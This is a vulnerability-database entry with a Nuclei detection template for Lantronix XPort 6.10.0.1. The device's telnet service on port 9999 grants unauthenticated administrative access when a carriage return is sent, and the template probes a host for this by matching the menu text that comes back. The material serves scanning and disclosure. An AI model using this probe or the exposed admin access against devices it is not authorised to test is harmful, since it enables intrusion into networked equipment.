lantronix-xport-unauth: Lantronix XPort 6.10.0.1 - Unauthenticated Access

2025-08-01 Lantronix XPort PoC Public

Description

The Lantronix XPort's telnet service is not configured to require authentication by default.An unauthenticated user can remotely administer the device by hitting 'Enter' when prompted by the telnet service.

PoC

id: lantronix-xport-unauth

info:
  name: Lantronix XPort 6.10.0.1 - Unauthenticated Access
  author: John Osborn (Summit Security Group,LLC)
  severity: high
  description: |
    The Lantronix XPort's telnet service is not configured to require authentication by default.An unauthenticated user can remotely administer the device by hitting 'Enter' when prompted by the telnet service.
  reference:
    - https://www.lantronix.com/wp-content/uploads/pdf/XPort_UG.pdf
  metadata:
    verified: true
  tags: misconfig,tcp,default-login,network,vuln

tcp:
  - inputs:
      - data: "\r\n"
      - read: 2048

    host:
      - "{{Hostname}}"
    port: 9999

    matchers:
      - type: word
        words:
          - "Security"
          - "Expert"
          - "Channel"
          - "ARP cache"
        condition: and
# digest: 490a0046304402206a696b06dfed2d9e90a9ea5b217ecdf617f319a717d32fbc0a1501b55561ff8402205d46ee5c5ac9ea4b2b78559bd3aa0dec2c79e6ba4d26264c2bd92eb1584d032a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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